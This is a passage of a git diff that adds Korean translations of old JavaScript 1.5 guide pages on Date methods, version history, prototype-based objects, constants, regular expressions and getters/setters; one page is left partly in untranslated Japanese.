+<p>날짜와 시간을 조절하는 <code>Date</code>객체표현 방법은 아래 종류로 나뉩니다:</p>
+
+<ul>
+ <li>"set" 함수, 날짜 개체 안에서의 날짜 및 시간 값을 설정합니다.</li>
+ <li>"get" 함수, 날짜 개체 안에서의 날짜 및 시간 값을 얻습니다.</li>
+ <li>"to" 함수, 날짜 개체로부터 문자열 값을 반환합니다.</li>
+ <li><code>Date</code> 문자열을 분석하기위해 parse와 UTC함수를 사용합니다.</li>
+</ul>
+
+<p>"get"및 "set"메소드를 사용하여 초, 분,시, 일, 요일, 월 및 연도를 별도로 가져 와서 설정할 수 있습니다. 요일이 자동적으로 설정되기 (위해) 때문에, 요일을 돌려주는 getDay 메소드가 있습니다만, 대응하는 setDay 메소드는 없습니다. 이러한 메서드는 정수를 사용하여 다음과 같이 값을 나타냅니다.</p>
+
+<ul>
+ <li>초와 분: 0 to 59</li>
+ <li>시간: 0 to 23</li>
+ <li>요일: 0 (Sunday) to 6 (Saturday)</li>
+ <li>날짜: 1 to 31 (day of the month)</li>
+ <li>월: 0 (January) to 11 (December)</li>
+ <li>연도: years since 1900</li>
+</ul>
+
+<p>예를 들어, 아래와 같이 값들을 정의해봅시다 :</p>
+
+<pre class="brush: js notranslate">var Xmas95 = new Date("December 25, 1995");
+</pre>
+
+<p>그러면 <code>Xmas95.getMonth()</code>는 11을 반환합니다, 그리고 <code>Xmas95.getFullYear()</code>는 1995를 반환합니다.</p>
+
+<p><code>getTime</code>과 <code>setTime</code>방법들은 날짜를 나눌때 유용합니다. <code>getTime</code>함수는 <code>Date</code>객체에 대해 1970년 1월 1일 00:00시부터 밀리초단위로 리턴합니다.</p>
+
+<p>예를 들어, 다음 코드는 현재 년도에 남아 수를 표시합니다:</p>
+
+<pre class="brush: js notranslate">var today = new Date();
+var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Set day and month
+endYear.setFullYear(today.getFullYear()); // Set year to this year
+var msPerDay = 24 * 60 * 60 * 1000; // Number of milliseconds per day
+var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay;
+var daysLeft = Math.round(daysLeft); //returns days left in the year
+</pre>
+
+<p>이 예제에는 오늘 날짜가 포함된 <code>today</code>라는 명칭을 가진 <code>Date</code>객체를 만듭니다. 그리고 나서 <code>endYear</code>라는 <code>Date</code>객체를 만들고 현재연도를 설정합니다. 그런 다음 하루에 밀리 초 수를 사용하여 <code>getTime</code>을 사용하고 전체 일 수를 반올림하여 <code>today</code>와 <code>endYear</code> 사이의 일 수를 계산합니다.</p>
+
+<p><code>Parse</code> 함수는 날짜문자열부터 기존의 <code>Date</code>객체까지의 값을 할당하기에 유용합니다. 예를 들어, 다음 코드는 그 <code>IPOdate</code> 객체에 날짜값을 할당하기위해 <code>parse</code>와 <code>setTime</code>을 사용합니다;</p>
+
+<pre class="brush: js notranslate">var IPOdate = new Date();
+IPOdate.setTime(Date.parse("Aug 9, 1995"));
+</pre>
+
+<h3 id="예제">예제</h3>
+
+<p>다음 예제 에서 <code>JSClock()</code>는 digital 시계형식의 시간을 반환합니다.</p>
+
+<pre class="brush: js notranslate">function JSClock() {
+  var time = new Date();
+  var hour = time.getHours();
+  var minute = time.getMinutes();
+  var second = time.getSeconds();
+  var temp = "" + ((hour &gt; 12) ? hour - 12 : hour);
+  if (hour == 0)
+    temp = "12";
+  temp += ((minute &lt; 10) ? ":0" : ":") + minute;
+  temp += ((second &lt; 10) ? ":0" : ":") + second;
+  temp += (hour &gt;= 12) ? " P.M." : " A.M.";
+  return temp;
+}
+</pre>
+
+<p><code>JSClock</code> 함수는 먼저 time이라는 새 <code>Date</code> 객체를 만듭니다. 인수가 없으므로 현재 날짜와 시간으로 시간이 생성됩니다. 그런 다음 <code>getHours</code>, <code>getMinutes</code> 및 <code>getSeconds</code> 메소드를 호출하면 현재 시간, 분 및 초 값이<code>hour</code>, <code>minute</code>, <code>second</code>로 할당됩니다.</p>
+
+<p>다음 네 문장은 시간을 기준으로 문자열 값을 만듭니다. 첫 번째 명령문은 변수 temp를 작성하고 조건식을 사용하여 값을 할당합니다. hour가 12보다 큰 경우 (hour - 12), 그렇지 않은 경우 시간이 0이 아닌 경우 시간이 12 일 경우 시간이 12가됩니다.</p>
+
+<p>다음 명령문은 <code>temp</code> 값에 <code>minute</code> 값을 추가합니다. 분(<code>minute</code>)의 값이 10보다 작 으면 조건식은 앞에 0이 있는 문자열을 추가합니다. 그렇지 않으면 콜론을 구분하는 문자열을 추가합니다. 그런 다음 같은 방법으로 temp에 초 값을 추가합니다.</p>
+
+<p>마지막으로 조건부 표현식에 "P.M."이 추가됩니다. 시간(<code>hour</code>)이 12 시간 이상이면 임시(<code>temp</code>)로; 그렇지 않으면 "A.M."을 <code>temp</code>에 추가합니다.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/about/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/about/index.html
new file mode 100644
index 0000000000..05deb2017f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/about/index.html
@@ -0,0 +1,109 @@
+---
+title: About
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About
+---
+<h3 id=".EC.9D.B4.EB.B2.88_.EB.A6.B4.EB.A6.AC.EC.A6.88.EC.9D.98_.EC.83.88_.EA.B8.B0.EB.8A.A5" name=".EC.9D.B4.EB.B2.88_.EB.A6.B4.EB.A6.AC.EC.A6.88.EC.9D.98_.EC.83.88_.EA.B8.B0.EB.8A.A5"> 이번 릴리즈의 새 기능 </h3>
+<p>JavaScript 버전 1.5는 다음과 같은 개선과 새 기능을 제공합니다:
+</p><p><b>런타임 오류</b><br>
+런타임 오류가 예외로서 보고됩니다.
+</p><p><b>숫자 표현 서식 개선</b><br>
+숫자를 표현하는 서식이 Number.prototype.toExponential, Number.prototype.toFixed, Number.prototype.toPrecision 메소드를 포함함으로서 개선되었습니다. <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Number_Object">Number 개체</a> 페이지를 보십시오.
+</p><p><b>정규 표현식 개선</b><br>
+정규표현식이 다음과 같이 개선되었습니다:
+</p>
+<ul><li> 한정자 — +, *, ?, {} — 뒤에 ?를 붙여서 greedy하지 않도록 할 수 있습니다. <a href="ko/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern#Using_Special_Characters">정규 표현식 패턴 쓰기</a> 페이지에서 ?에 대한 항목을 보십시오.
+</li><li> Non-capturing parentheses, (?:x) can be used instead of capturing parentheses(x). When non-capturing parentheses are used, matched subexpressions are not available as back-references. See the entry for (?:x) on page <a href="ko/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern#Using_Special_Characters">Writing a Regular Expression Pattern</a>.
+</li><li> Positive and negative lookahead assertions are supported. Both assert a match depending on what follows the string being matched. See the entries for x(?=y) and x(?!y) on page <a href="ko/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern#Using_Special_Characters">Writing a Regular Expression Pattern</a>.
+</li><li> The m flag has been added to specify that the regular expression should match over multiple lines. See the <a href="ko/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Executing_a_Global_Search%2c_Ignoring_Case%2c_and_Considering_Multiline_Input">Executing a Global Search, Ignoring Case, and Considering Multiline Input</a> page.
+</li></ul>
+<p><b>조건부 함수 선언</b><br>
+함수를 if 조건안에서 선언할 수 있습니다. <a href="ko/Core_JavaScript_1.5_Guide/Defining_Functions">함수 정의</a> 페이지를 참고하세요.
+</p><p><b>함수 표현식</b> <br>
+함수를 표현식 안에서 선언할 수 있습니다. <a href="ko/Core_JavaScript_1.5_Guide/Defining_Functions">함수 정의</a> 페이지를 참고하세요.
+</p><p><b>Multiple catch clauses</b><br>
+Multiple catch clauses in a try...catch statement are supported. See <a href="ko/Core_JavaScript_1.5_Guide/Exception_Handling_Statements/try...catch_Statement#The_catch_Block">The catch Block</a> page.
+</p><p><b>Getters와 Setters</b><br>
+JavaScript writers can now add getters and setters to their objects. This feature is available only in the C implementation of JavaScript. See the <a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters">Defining Getters and Setters</a> page.
+</p><p><b>상수</b> <br>
+읽기전용의 상수가 지원됩니다. This feature is available only in the C implementation of JavaScript. See the <a href="ko/Core_JavaScript_1.5_Guide/Constants">Constants</a> page.
+</p>
+<h3 id=".EB.AF.B8.EB.A6.AC_.EC.95.8C.EA.B3.A0_.EC.9E.88.EC.96.B4.EC.95.BC_.ED.95.A0_.EA.B2.83" name=".EB.AF.B8.EB.A6.AC_.EC.95.8C.EA.B3.A0_.EC.9E.88.EC.96.B4.EC.95.BC_.ED.95.A0_.EA.B2.83"> 미리 알고 있어야 할 것 </h3>
+<p>이 안내서는 당신이 다음과 같은 배경지식을 지녔다고 가정합니다:
+</p>
+<ul><li> 인터넷과 World Wide Web (WWW)에 대한 상식적인 이해
+</li><li> HyperText Markup Language (HTML)에 대한 충분한 지식<br>
+</li></ul>
+<p>C 혹은 Visual Basic에 대한 프로그래밍 경험이 있으면 좋지만, 필수사항은 아닙니다.
+</p>
+<h3 id="JavaScript_.EB.B2.84.EC.A0.84" name="JavaScript_.EB.B2.84.EC.A0.84"> JavaScript 버전 </h3>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>JavaScript 버전</th>
+<th>Navigator 버전</th>
+</tr>
+<tr>
+<td>JavaScript 1.0</td>
+<td>Navigator 2.0</td>
+</tr>
+<tr>
+<td>JavaScript 1.1</td>
+<td>Navigator 3.0</td>
+</tr>
+<tr>
+<td>JavaScript 1.2</td>
+<td>Navigator 4.0-4.05</td>
+</tr>
+<tr>
+<td>JavaScript 1.3</td>
+<td>Navigator 4.06-4.7x</td>
+</tr>
+<tr>
+<td>JavaScript 1.4</td>
+<td> </td>
+</tr>
+<tr>
+<td>JavaScript 1.5</td>
+<td>Navigator 6.0<br>모질라 (오픈소스 브라우저)</td>
+</tr>
+</tbody></table>
+<p><small><b>표1: JavaScript와 Navigator 버전</b></small><br>
+<br>
+Each version of the Netscape Enterprise Server also supports a different version of JavaScript. To help you write scripts that are compatible with multiple versions of the Enterprise Server, this manual uses an abbreviation to indicate the server version in which each feature was implemented.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Abbreviation</th>
+<th>Enterprise Server version</th>
+</tr>
+<tr>
+<td>NES 2.0</td>
+<td>Netscape Enterprise Server 2.0</td>
+</tr>
+<tr>
+<td>NES 3.0</td>
+<td>Netscape Enterprise Server 3.0</td>
+</tr>
+</tbody></table>
+<p><small><b>Table 2: Abbreviations of Netscape Enterprise Server versions</b></small>
+</p>
+<h3 id="JavaScript_.EC.A0.95.EB.B3.B4.EB.A5.BC_.EC.B0.BE.EC.9D.84_.EC.88.98_.EC.9E.88.EB.8A.94_.EA.B3.B3" name="JavaScript_.EC.A0.95.EB.B3.B4.EB.A5.BC_.EC.B0.BE.EC.9D.84_.EC.88.98_.EC.9E.88.EB.8A.94_.EA.B3.B3"> JavaScript 정보를 찾을 수 있는 곳 </h3>
+<p>The core JavaScript documentation includes the following books:
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Guide">The Core JavaScript Guide</a> (this guide) provides information about the core JavaScript language and its objects.
+</li><li> <a href="ko/Core_JavaScript_1.5_Reference">The Core JavaScript Reference</a> provides reference material for the core JavaScript language.
+</li></ul>
+<p>If you are new to JavaScript, start with the <a href="ko/Core_JavaScript_1.5_Guide">Core JavaScript Guide</a>. Once you have a firm grasp of the fundamentals, you can use the <a href="ko/Core_JavaScript_1.5_Reference">Core JavaScript Reference</a> to get more details on individual objects and statements.
+</p>
+<h3 id=".EB.AC.B8.EC.84.9C_.EA.B7.9C.EC.95.BD" name=".EB.AC.B8.EC.84.9C_.EA.B7.9C.EC.95.BD"> 문서 규약 </h3>
+<p>JavaScript 응용프로그램은 많은 운영체제에서 실행됩니다. 이 책에 있는 정보는 모든 운영체제에 적용됩니다. 파일과 디렉토리 경로는 Windows 형식(디렉토리 이름을 구분하는데 역슬래시를 사용)으로 썼습니다. Unix에서는 역슬래시를 슬래시로 바꾸어 사용하면 됩니다.
+</p><p>이 안내서에서 URL은 다음과 같은 형태로 씁니다.
+</p><p><code><span class="nowiki">http://server.domain/path/file.html</span></code>
+</p><p>이 URL에서 "server"는 우리가 응용프로그램을 실행하는 서버 이름(research1이나 www 등)이고, "domain"은 인터넷 도메인 이름(netscape.com이나 uiuc.edu 등)입니다. "path"는 서버의 디렉토리 구조를 나타내고, "file.html"은 파일 이름입니다. 일반적으로 URL에서 이탤릭체로 쓴 부분은 알맞은 내용으로 바꿔써야 할 내용(placeholder)이고, 평범한 고정폭 글꼴은 그대로 쓰면 되는 내용입니다. Secure Socket Layer(SSL)을 사용하는 서버라면 http 대신 https를 쓰면 됩니다.
+</p><p>이 안내서는 다음과 같은 관례를 따릅니다.
+</p>
+<ul><li> <code>고정폭 글꼴</code>은 샘플 코드, API, 언어 요소(메소드 이름, 속성 이름 등), 파일 이름, 경로, 디렉토리 이름, HTML 태그, 화면에 입력해야 할 텍스트를 나타내는 데 쓰입니다. (고정폭 이탤릭체는 코드 내용 중에서 적당히 알맞은 내용으로 바꿔써야 할 부분을 나타내는 데 씁니다.)
+</li><li> <i>이탤릭체</i>는 책 제목, 강조, 변수, 뜻 그대로 쓰인 단어(words in the literal sense)에 씁니다.
+</li><li> <b>굵은 글씨</b>는 용어에 씁니다.
+</li></ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide", "Core_JavaScript_1.5_Guide:JavaScript_Overview") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/About", "fr": "fr/Guide_JavaScript_1.5/\u00c0_propos", "ja": "ja/Core_JavaScript_1.5_Guide/About", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/O" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/class-based_vs._prototype-based_languages/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/class-based_vs._prototype-based_languages/index.html
new file mode 100644
index 0000000000..20601a0e81
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/class-based_vs._prototype-based_languages/index.html
@@ -0,0 +1,26 @@
+---
+title: Class-Based vs. Prototype-Based Languages
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages
+---
+<h3 id=".E3.82.AF.E3.83.A9.E3.82.B9.E3.83.99.E3.83.BC.E3.82.B9.E8.A8.80.E8.AA.9E.E3.81.A8.E3.83.97.E3.83.AD.E3.83.88.E3.82.BF.E3.82.A4.E3.83.97.E3.83.99.E3.83.BC.E3.82.B9.E8.A8.80.E8.AA.9E" name=".E3.82.AF.E3.83.A9.E3.82.B9.E3.83.99.E3.83.BC.E3.82.B9.E8.A8.80.E8.AA.9E.E3.81.A8.E3.83.97.E3.83.AD.E3.83.88.E3.82.BF.E3.82.A4.E3.83.97.E3.83.99.E3.83.BC.E3.82.B9.E8.A8.80.E8.AA.9E">클래스 기반언어와 프로토타입 기반언어</h3>
+<p>Java와 C++이라는 클래스 기반의 객체지향언어는 클래스와 인스턴스라는 2개의 다른 실체가 있다는 개념에 기초하고 있습니다.</p>
+<ul> <li>클래스는 어떤 객체의 집합을 특징짓는 모든 속성(Java에서는 메소드와 필드를, C++에서는 멤버를 프로퍼티로 간주)을 정의합니다. 클래스란 그것이 나타내는 객체집합의 특정멤버가 아닌, 추상적인것입니다. 예를들어, Employee클래스는 모든 종업원의 집합을 나타냅니다.</li> <li>한편, 인스턴스는 클래스를 실례로 한것입니다. 즉, 그 멤버중 하나인것입니다. 예를들어, Victoria는 Employee클래스의 인스턴스가 될 수 있습니다. 이 클래스는 특정 개인을 종업원으로서 표현하고 있는것입니다. 인스턴스는 그 부모클래스의 속성을 정확하게 유지하고 있습니다.</li>
+</ul>
+<p>JavaScript のようなプロトタイプベース言語はこの区別がありません。単にオブジェクトがあるだけです。プロトタイプベース言語には原型的なオブジェクトという概念があります。このオブジェクトは新しいオブジェクトの初期プロパティを取得する元になるテンプレートとして使用されます。どのオブジェクトもそれ独自のプロパティを指定できます。オブジェクト作成時にも実行時にも可能です。さらに、どのオブジェクトも別のオブジェクトに対するプロトタイプとして関連付けることができます。2 つ目のオブジェクトが 1 つ目のオブジェクトのプロトタイプを共有するということもできます。</p>
+<h4 id=".E3.82.AF.E3.83.A9.E3.82.B9.E3.81.AE.E5.AE.9A.E7.BE.A9" name=".E3.82.AF.E3.83.A9.E3.82.B9.E3.81.AE.E5.AE.9A.E7.BE.A9">クラスの定義</h4>
+<p>クラスベース言語ではクラス定義ごとにクラスを定義します。定義では特殊なメソッドを指定してそのクラスのインスタンスを作成することができます。そのようなメソッドはコンストラクタと呼びます。コンストラクタメソッドはインスタンスのプロパティに対する初期値を指定することができます。また、作成時に他の適当な処理を実行することもできます。new 演算子をコンストラクタメソッドと一緒に用いることでクラスのインスタンスを作成できます。</p>
+<p>JavaScript は同様のモデルに従っていますが、コンストラクタと別になっているクラス定義がありません。その代わりに、プロパティと値からなる特定の初期的なセットを持つオブジェクトを作成するコンストラクタ関数を定義します。どの JavaScript 関数もコンストラクタとして使用できます。new 演算子をコンストラクタ関数とともに使用することで新しいオブジェクトを作成します。</p>
+<h4 id=".E3.82.B5.E3.83.96.E3.82.AF.E3.83.A9.E3.82.B9.E3.81.A8.E7.B6.99.E6.89.BF" name=".E3.82.B5.E3.83.96.E3.82.AF.E3.83.A9.E3.82.B9.E3.81.A8.E7.B6.99.E6.89.BF">サブクラスと継承</h4>
+<p>クラスベース言語ではクラス定義を通じてクラスの階層を作ります。クラス定義では新しいクラスがある既存のクラスのサブクラスになるように指定することができます。サブクラスはスーパークラスの全プロパティを継承します。さらに新しくプロパティを追加したり継承したものを変更することもできます。例えば、Employee クラスが name および dept プロパティのみを含んでおり、Manager は reports プロパティを追加する Employee のサブクラスであるとします。この場合、Manager クラスのインスタンスは name、dept、reports という 3 つのプロパティをすべて持つことになります。</p>
+<p>JavaScript では、原型的なオブジェクトをどのコンストラクタ関数にも結びつけることができるようにして継承を実装しています。そのため、全く同じような Employee と Manager の例を作成することができますが、使用する用語が若干異なります。まず、Employee コンストラクタ関数を定義します。これは name および dept プロパティを指定します。次に Manager コンストラクタ関数を定義します。これは reports プロパティを指定します。最後に新しい Employee オブジェクトを Manager コンストラクタ関数に対するプロトタイプとして代入します。そして新しい Manager を作成すると、このオブジェクトは Employee オブジェクトから name および dept プロパティを継承します。</p>
+<h4 id=".E3.83.97.E3.83.AD.E3.83.91.E3.83.86.E3.82.A3.E3.81.AE.E8.BF.BD.E5.8A.A0.E3.81.A8.E5.89.8A.E9.99.A4" name=".E3.83.97.E3.83.AD.E3.83.91.E3.83.86.E3.82.A3.E3.81.AE.E8.BF.BD.E5.8A.A0.E3.81.A8.E5.89.8A.E9.99.A4">プロパティの追加と削除</h4>
+<p>クラスベース言語では一般的にクラスをコンパイル時に生成し、コンパイル時または実行時にクラスのインスタンスを作成します。クラス定義後にそのクラスのプロパティの数や型を変更することはできません。しかし、JavaScript ではどんなオブジェクトでも実行時にプロパティを追加したり削除したりすることができます。あるオブジェクトのセットでプロトタイプとして使用されているオブジェクトにプロパティを追加すると、そのプロトタイプの使用元であるオブジェクトにも新しいプロパティが追加されます。</p>
+<h4 id=".E9.81.95.E3.81.84.E3.81.AE.E6.A6.82.E8.A6.81" name=".E9.81.95.E3.81.84.E3.81.AE.E6.A6.82.E8.A6.81">違いの概要</h4>
+<p>次の表でこれらの違いをいくつか短くまとめてみます。この章の残りで、JavaScript のコンストラクタとプロトタイプを用いてオブジェクト階層を作成することについての詳細を説明していきます。また、この方法が Java ではどう変わるかという比較もします。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>クラスベース (Java)</th> <th>プロトタイプベース (JavaScript)</th> </tr> <tr> <td>クラスとインスタンスは異なる実体である。</td> <td>すべてのオブジェクトはインスタンスである。</td> </tr> <tr> <td>クラス定義を用いてクラスを定義する。また、コンストラクタメソッドを用いてクラスをインスタンス化する。</td> <td>コンストラクタ関数を用いてオブジェクトのセットを定義し、作成する。</td> </tr> <tr> <td><code>new</code> 演算子を用いて単一のオブジェクトを作成する。</td> <td>同じ。</td> </tr> <tr> <td>既存のクラスのサブクラスを定義するクラス定義を用いてオブジェクト階層を構築する。</td> <td>コンストラクタ関数に結びつけられたプロトタイプとしてオブジェクトを代入することでオブジェクト階層を構築する。</td> </tr> <tr> <td>クラスチェーンに従ってプロパティを継承する。</td> <td>プロトタイプチェーンに従ってプロパティを継承する。</td> </tr> <tr> <td>クラス定義がクラスの全インスタンスの全プロパティを指定する。実行時に動的にプロパティを追加することはできない。</td> <td>コンストラクタ関数またはプロトタイプがプロパティの初期セットを指定する。個々のオブジェクトやオブジェクトの全体のセットに動的にプロパティを追加したり、それらからプロパティを除去したりできる。</td> </tr> </tbody>
+</table>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Predefined_Core_Objects:String_Object", "Core_JavaScript_1.5_Guide:The_Employee_Example") }}</p>
+</div>
+<p>{{ languages( { "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/以類別為基礎的語言_vs._以原型為基礎的語言", "en": "en/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages", "es": "es/Gu\u00eda_JavaScript_1.5/Lenguajes_basados_en_clases_frente_a_basados_en_prototipos", "fr": "fr/Guide_JavaScript_1.5/Langages_bas\u00e9s_sur_les_classes_et_langages_bas\u00e9s_sur_les_prototypes", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/J\u0119zyki_oparte_na_klasach_vs._oparte_na_prototypach", "zh-cn": "cn/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages" } ) }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/constants/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/constants/index.html
new file mode 100644
index 0000000000..48a697fdc2
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/constants/index.html
@@ -0,0 +1,28 @@
+---
+title: Constants
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EC.83.81.EC.88.98" name=".EC.83.81.EC.88.98"> 상수 </h3>
+<p><code><a href="ko/Core_JavaScript_1.5_Reference/Statements/const">const</a></code> 키워드를 이용하면 읽기 전용의 이름 있는 상수를 만들 수 있습니다. 상수 식별자(const identifier)는 변수의 식별자와 동일합니다. 문자나 밑줄로 시작해야 하고, 알파벳, 숫자, 밑줄 문자를 사용할 수 있습니다.
+</p>
+<pre class="eval">const prefix = '212';
+</pre>
+<p>상수는 스크립트 실행 중에 값을 대입하거나 다시 선언하여 값을 바꿀 수 없습니다.
+</p><p>전역 상수인 경우에도 항상 <code>const</code> 키워드를 붙여야 한다는 점만 제외하면, 상수의 범위 규칙은 변수의 경우와 동일합니다. const 키워드가 없으면 변수라고 판정됩니다.
+</p><p>같은 범위에 있는 함수나 변수의 이름과 같은 이름으로 상수를 만들 수 없습니다. 예를 들어,
+</p>
+<pre>//이 코드는 에러를 낼 것입니다
+function f() {};
+  const f = 5;
+
+//이 코드 또한 에러를 냅니다.
+function f() {
+  const g = 5;
+  var g;
+
+  //그 외 코드...
+
+}</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Variables", "Core_JavaScript_1.5_Guide:Literals") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Constants", "fr": "fr/Guide_JavaScript_1.5/Constantes", "ja": "ja/Core_JavaScript_1.5_Guide/Constants", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Sta\u0142e" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_a_regular_expression/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_a_regular_expression/index.html
new file mode 100644
index 0000000000..d969b378f4
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_a_regular_expression/index.html
@@ -0,0 +1,35 @@
+---
+title: Creating a Regular Expression
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression
+---
+<h3 id=".EC.A0.95.EA.B7.9C.ED.91.9C.ED.98.84.EC.8B.9D_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EC.A0.95.EA.B7.9C.ED.91.9C.ED.98.84.EC.8B.9D_.EB.A7.8C.EB.93.A4.EA.B8.B0">정규표현식 만들기</h3>
+<p>정규표현식은 다음의 두 가지 방법으로 만들 수 있습니다.</p>
+<ul>
+ <li>정규표현식 상수값을 이용하여 만들기</li>
+</ul>
+<pre> re = /ab+c/; </pre>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    정규표현식 상수값은 스크립트가 실행될 때 컴파일됩니다. 따라서 정규표현식의 값이 변하지 않을 경우, 이 방법을 사용하면 좀 더 나은 성능을 얻을 수 있습니다.</dd>
+  </dl>
+ </dd>
+</dl>
+<ul>
+ <li><a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">RegExp</a> 객체의 생성자를 호출하여 만들기</li>
+</ul>
+<pre> re = new RegExp("ab+c"); </pre>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    생성자를 이용하면 실행 시간에 정규표현식이 컴파일됩니다. 정규표현식 패턴이 바뀔 것을 알고 있거나, 또는 패턴을 사용자의 입력 등을 통해 외부에서 가져오려고 할 때 이 방법을 사용하십시오.</dd>
+  </dl>
+ </dd>
+</dl>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Special_Operators", "Core_JavaScript_1.5_Guide:Writing_a_Regular_Expression_Pattern") }}</p>
+</div>
+<p> </p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_getters_and_setters/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_getters_and_setters/index.html
new file mode 100644
index 0000000000..3238e19b0f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_getters_and_setters/index.html
@@ -0,0 +1,84 @@
+---
+title: Defining Getters and Setters
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters
+---
+<h3 id="getter.2Fsetter_.EC.A0.95.EC.9D.98.ED.95.98.EA.B8.B0" name="getter.2Fsetter_.EC.A0.95.EC.9D.98.ED.95.98.EA.B8.B0">getter/setter 정의하기</h3>
+
+<p>getter는 속성의 값을 얻어오는 메소드이고, setter는 속성의 값을 설정하는 메소드입니다. 우리는 언어에서 미리 정의한 핵심 개체들과 사용자 정의 개체에 getter/setter를 정의할 수 있습니다. getter와 setter를 정의할 때 쓰이는 문법은 개체 상수값 문법입니다.</p>
+
+<p>다음의 JS 쉘 세션은 사용자가 정의한 개체 o에 대해서 getter와 setter가 어떻게 동작하는지 보여줍니다. JS 쉘은 JavaScript를 한 번에 실행(batch)하거나 대화식으로(interactively) 실행할 수 있게 해주는 응용프로그램입니다.</p>
+
+<p><code>o</code> 개체에는 이런 속성이 있습니다.</p>
+
+<ul>
+ <li>o.a - 수</li>
+ <li>o.b - o.a 더하기 1을 반환하는 getter</li>
+ <li>o.c - 받은 값을 2로 나누어서 o.a에 설정하는 setter</li>
+</ul>
+
+<pre>js&gt; o = new Object;
+[object Object]
+js&gt; o = {a:7, get b() {return this.a+1; }, set c(x) {this.a = x/2}};
+[object Object]
+js&gt; o.a
+7
+js&gt; o.b
+8
+js&gt; o.c = 50
+js&gt; o.a
+25
+js&gt;
+</pre>
+
+<p>다음 JavaScript 쉘 세션은 이미 정의된 <code>Date</code> 모든 인스턴스에 year 속성을 추가하기 위해서 getter/setter가 어떻게 Date 프로토타입을 확장하는지 보여줍니다. 이 세션에서는 year 속성의 getter와 setter를 지원하기 위해서 <code>Date</code>에 있는 <code>getFullYear</code> 메소드와 <code>setFullYear</code> 메소드를 사용하고 있습니다.</p>
+
+<p>이 문장들은 year 속성에 대한 getter와 setter를 정의합니다.</p>
+
+<pre>js&gt; var d = Date.prototype;
+js&gt; d.__defineGetter__("year", function() { return this.getFullYear(); });
+js&gt; d.__defineSetter__("year", function(y) { this.setFullYear(y); });
+</pre>
+
+<p>이 문장들은 <code>Date</code>의 getter/setter를 사용합니다.</p>
+
+<pre>js&gt; var now = new Date;
+js&gt; print(now.year);
+2000
+js&gt; now.year=2001;
+987617605170
+js&gt; print(now);
+Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
+</pre>
+
+<div class="note">JavaScript 1.5를 개발하는 동안 이미 존재하는 개체에 getter/setter를 추가할 때 <code>getter =</code>, <code>setter =</code>이라는 식의 문법을 사용하던 때가 잠깐 있었습니다. 이 문법은 이제 사용하지 말아야 합니다. 현재의 JS 1.5 엔진에서는 경고를 발생시키고, 더 나중의 버전에서는 문법 에러를 발생시키게 될 것입니다.</div>
+
+<p> </p>
+
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
